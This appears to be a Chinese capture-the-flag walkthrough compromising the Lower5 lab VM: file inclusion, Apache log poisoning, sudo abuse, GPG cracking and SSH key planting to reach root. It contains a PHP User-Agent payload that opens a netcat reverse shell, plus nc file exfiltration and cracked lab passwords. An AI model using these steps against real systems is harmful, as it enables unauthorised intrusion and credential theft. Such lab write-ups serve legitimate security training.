# 靶场搭建
下载地址:Lower5
下载导入,NAT 模式,直接战斗
IP: 10.10.10.10
# 渗透过程
# 信息初收集
扫一下端口看看先
┌──(root㉿kali)-[~]
└─# nmap -p- -sV 10.10.10.10 -T4
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-23 04:06 EDT
Nmap scan report for 10.10.10.10
Host is up (0.00027s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
80/tcp open http Apache httpd 2.4.62 ((Debian))
MAC Address: 08:00:27:53:7B:EC (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.73 seconds
22 和 80,80 看看呢

喜闻乐见的 web 渗透
可以看到上面的菜单栏的地址 http://10.10.10.10/page.php?inc=about.html ,有文件包含的嫌疑。测测看
┌──(root㉿kali)-[~] | |
└─# curl http://10.10.10.10/page.php?inc=/etc/passwd | |
root:x:0:0:root:/root:/bin/bash | |
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin | |
bin:x:2:2:bin:/bin:/usr/sbin/nologin | |
sys:x:3:3:sys:/dev:/usr/sbin/nologin | |
sync:x:4:65534:sync:/bin:/bin/sync | |
games:x:5:60:games:/usr/games:/usr/sbin/nologin | |
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin | |
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin | |
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin | |
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin | |
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin | |
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin | |
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin | |
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin | |
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin | |
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin | |
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin | |
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin | |
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin | |
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin | |
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin | |
low:x:1000:1000:low:/home/low:/bin/bash |
存在的
# 漏洞利用
先试读 shadow,爆破密码
┌──(root㉿kali)-[~] | |
└─# curl http://10.10.10.10/page.php?inc=/etc/shadow | |
<b>Security Alert:</b> Intrusion Attempt Detected... |
没有,那就包含日志看看
──(root㉿kali)-[~] | |
└─# curl http://10.10.10.10/page.php?inc=/var/log/apache2/access.log | |
10.10.10.9 - - [23/Oct/2025:10:07:18 +0200] "GET / HTTP/1.0" 200 11884 "-" "-" | |
10.10.10.9 - - [23/Oct/2025:10:07:18 +0200] "GET /nmaplowercheck1761206840 HTTP/1.1" 404 453 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)" |
直接包含 php 反弹 shell
┌──(root㉿kali)-[~] | |
└─# curl -s -H "User-Agent: <?php system('busybox nc 10.10.10.9 4444 -e /bin/sh'); ?>" "http://10.10.10.10/" |
┌──(root㉿kali)-[~] | |
└─# curl http://10.10.10.10/page.php?inc=/var/log/apache2/access.log |
拿到 shell
# 提权
升级终端先
┌──(root㉿kali)-[~] | |
└─# nc -lnvp 50088 | |
listening on [any] 50088 ... | |
connect to [10.10.10.9] from (UNKNOWN) [10.10.10.10] 55678 | |
script /dev/null -c bash | |
Script iniciado, el fichero de anotación de salida es '/dev/null'. | |
www-data@lower5:~$ ^Z | |
zsh: suspended nc -lnvp 50088 | |
┌──(root㉿kali)-[~] | |
└─# stty raw -echo;fg | |
[1] + continued nc -lnvp 50088 | |
reset xterm | |
www-data@lower5:~$ export TERM=xterm-256color |
发现 sudo 存在权限滥用
www-data@lower5:/var/www/html$ sudo -l | |
Matching Defaults entries for www-data on lower5: | |
env_reset, mail_badpass, | |
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, | |
use_pty | |
User www-data may run the following commands on lower5: | |
(low) NOPASSWD: /usr/bin/bash |
我们使用 low 用户执行 bash
www-data@lower5:/var/www/html$ sudo -u low /usr/bin/bash | |
low@lower5:/var/www/html$ cd ~ | |
low@lower5:~$ source .bashrc | |
low@lower5:~$ cat user.txt | |
30a7b18992fef054ca6d904769fac413 |
拿到 low 用户权限
发现目录下存在 root.gpg 文件,传到 kali 上,直接 john 跑
┌──(root㉿kali)-[~] | |
└─# nc -lnvp 4433 > gpg | |
listening on [any] 4433 ... | |
connect to [10.10.10.9] from (UNKNOWN) [10.10.10.10] 58330 | |
^C |
low@lower5:~$ nc 10.10.10.9 4433 < root.gpg |
┌──(root㉿kali)-[~] | |
└─# gpg2john gpg > hash | |
File gpg | |
┌──(root㉿kali)-[~] | |
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash | |
Using default input encoding: UTF-8 | |
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64]) | |
Cost 1 (s2k-count) is 65011712 for all loaded hashes | |
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes | |
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 7 for all loaded hashes | |
Will run 2 OpenMP threads | |
Press 'q' or Ctrl-C to abort, almost any other key for status | |
0g 0:00:03:04 0.02% (ETA: 2025-11-04 10:00) 0g/s 16.81p/s 16.81c/s 16.81C/s future..carpediem | |
Password1 (administrator) | |
1g 0:00:03:27 DONE (2025-10-23 05:04) 0.004817g/s 16.88p/s 16.88c/s 16.88C/s Password1..wateva | |
Use the "--show" option to display all of the cracked passwords reliably | |
Session completed. |
拿到密码 Password1 ,但是 su 了一下不行
再探 sudo,发现还有高手
low@lower5:~$ sudo -l | |
Matching Defaults entries for low on lower5: | |
env_reset, mail_badpass, | |
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, | |
use_pty | |
User low may run the following commands on lower5: | |
(root) NOPASSWD: /usr/bin/pass |
sudo 执行这个 pass,总是不成功: sudo pass show root/password
写了一个 rsa 秘钥进去,ssh 连上去拿到终端才可以执行这个。
low@lower5:~$ mkdir .ssh | |
low@lower5:~$ cd .ssh | |
<xTgnit6423E3rS/5LFTtj1bmIEKfdfm01kGRu2+ln root@kali' > authorized_keys |
执行后输入 gpg 的密码 Password1
┌──(root㉿kali)-[~/.ssh] | |
└─# ssh [email protected] | |
The authenticity of host '10.10.10.10 (10.10.10.10)' can't be established. | |
ED25519 key fingerprint is SHA256:4K6G5c0oerBJXgd6BnT2Q3J+i/dOR4+6rQZf20TIk/U. | |
This key is not known by any other names. | |
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes | |
Warning: Permanently added '10.10.10.10' (ED25519) to the list of known hosts. | |
low@lower5:~$ sudo pass show /root/password | |
r00tP@zzW0rD123 | |
low@lower5:~$ su - | |
Contraseña: | |
root@lower5:~# cat root.txt | |
008cdc7563e1d5afbcac3a241eba4db8 |
最后才拿到 root 的密码 r00tP@zzW0rD123
# 解析
特意给留的一个口子
root@lower5:/var/www/html# cat page.php | |
<?php | |
$file = $_GET["inc"]; | |
if (isset($file) && ($file === "about.html" || $file === "services.html" || $file === "portfolio.html" || $file === "contact.html" || $file === "/etc/passwd" || $file === "/var/log/apache2/access.log")) { | |
include($file); | |
} else { | |
echo "<b>Security Alert:</b> Intrusion Attempt Detected..."; | |
} | |
?> |